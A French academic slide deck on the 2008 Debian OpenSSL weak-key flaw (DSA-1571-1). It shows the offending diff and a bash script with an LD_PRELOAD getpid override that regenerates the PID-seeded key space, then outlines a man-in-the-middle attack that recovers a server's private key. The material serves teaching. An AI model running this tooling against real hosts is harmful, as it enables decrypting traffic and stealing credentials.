La faille OpenSSL dans Debian

Anaël Verrier, Lucie Ringeval

19 mai 2009

Summary

Summary

Historique

- Ancien nom donné au protocole qui permet des échanges sécurisés sur internet développé à l'origine par Netscape.
- TLS, Transport Layer Security, depuis 2001.
- fonctionne suivant un mode client serveur.

Summary

Objectifs de sécurité

- l'authentification du serveur
- la confidentialité des données échangées (session chiffrée)
- l'intégrité des données échangées
- l'authentification ou l'authentification forte du client avec l'utilisation d'un certificat électronique (optionnel)
- la spontanéité
- la transparence

Summary

Les phases de la connexion TLS

- négociation de l'algorithme à utiliser avec le pair
- échange des clés et authentification
- échange des messages d'authentification chiffrés par un algorithme de chiffrement symétrique

DSA-1571-1 openssl – Générateur de nombres aléatoires prévisible

Suite à la correction d'un problème, les clés SSL sont devenues prévisibles rendant ainsi un grand nombre de paquets affectés par cette faille.

Summary

Un grand nombre de paquets affectés

- Ils utilisent OpenSSL pour générer des clés.
- Notion de clé compromise.
- Même un système non affecté par la faille peut utiliser une clé compromise.

Summary

Liste des paquets affectés

- Asterisk
- boxbackup
- Cfengine
- cryptsetup
- dropbear
- OpenSSH (serveur + client)
- OpenSWAN
- OpenVPN
- puppet
- encfs
- ...

Summary

Pourquoi les clés sont devenues prédictibles?

	revision 140, Tue May 2 16:25:19 2006 UTC		revision 141, Tue May 2 16:34:53 2006 UTC	
#	Line 271		Line 271	
271		else		else
272		MD_Update(&m,&(state[st_idx]),j);		MD_Update(&m,&(state[st_idx]),j);
273				
274				/*
275				* Don't add uninitialised data.
276		MD_Update(&m,buf,j);		MD_Update(&m,buf,j);
277				*/
278		MD_Update(&m,(unsigned char *)&(md_c[0]),sizeof(md_c));		MD_Update(&m,(unsigned char *)&(md_c[0]),sizeof(md_c)
279		MD_Final(&m,local_md);		MD_Final(&m,local_md);
280		md_c[1]++;		md_c[1]++;
#	Line 465		Line 468	
468		MD_Update(&m,local_md,MD_DIGEST_LENGTH);		MD_Update(&m,local_md,MD_DIGEST_LENGTH);
469		MD_Update(&m,(unsigned char *)&(md_c[0]),sizeof(md_c));		MD_Update(&m,(unsigned char *)&(md_c[0]),sizeof(md_c)
470	#ifndef PURIFY		#ifndef PURIFY	
471				/*
472				* Don't add uninitialised data.
473		MD_Update(&m,buf,j); /* purify complains */		MD_Update(&m,buf,j); /* purify complains */
474				*/
475	#endif		#endif	
476		k=(st_idx+MD_DIGEST_LENGTH/2)-st_num;		k=(st_idx+MD_DIGEST_LENGTH/2)-st_num;
477		if (k > 0)		if (k > 0)

Pourquoi les clés sont devenues prédictibles?

- 32768 PID possibles.
- 3 groupes d'architecture :
  - little-endian 32bit (ex i386)
  - little-endian 64bit (ex amd64, ia64)
  - big-endian 32bit (ex powerpc, sparc)
- Il y a donc 3 x 32767 = 98301 clés compromises.

Pourquoi les clés sont devenues prédictibles?

```
#!/bin/bash
MAGICPID=$1
shift
LD_PRELOAD=/getpid.so

export MAGICPID
export LD_PRELOAD

/usr/bin/ssh-keygen -N "" $@
```

Pourquoi les clés sont devenues prédictibles?

```
#include <stdio.h>
#include <stdlib.h>
int magicpid = 0;
pid_t getpid(void) {
    FILE *fd;
    unsigned int seed;
    if(magicpid) return magicpid;
    if(getenv("MAGICPID")) {
        magicpid = atoi(getenv("MAGICPID"));
        return magicpid;
    }
    fd = fopen("/dev/urandom", "rb");
    fread(&seed, sizeof(seed), 1, fd);
    fclose(fd);
    magicpid = seed % 32768;
    return magicpid;
}
```

- Attaque du man in the middle.
- L'attaquant ne peut pas utiliser son propre jeu de clés publique/privée.
- Besoin de la clé privée du serveur.
- Si le serveur utilise une clé compromise, on va pouvoir trouver sa clé privée. (ssh-keyscan)
- récuperation des identifiants et accès à l'ensemble des communications en clair entre le client et le serveur.
- Notion de porte dérobée (backdoor).

- Découverte tardive.
- Données non initialisées = évaluation de la sécurité difficile.
- Révoquation des anciens certificats.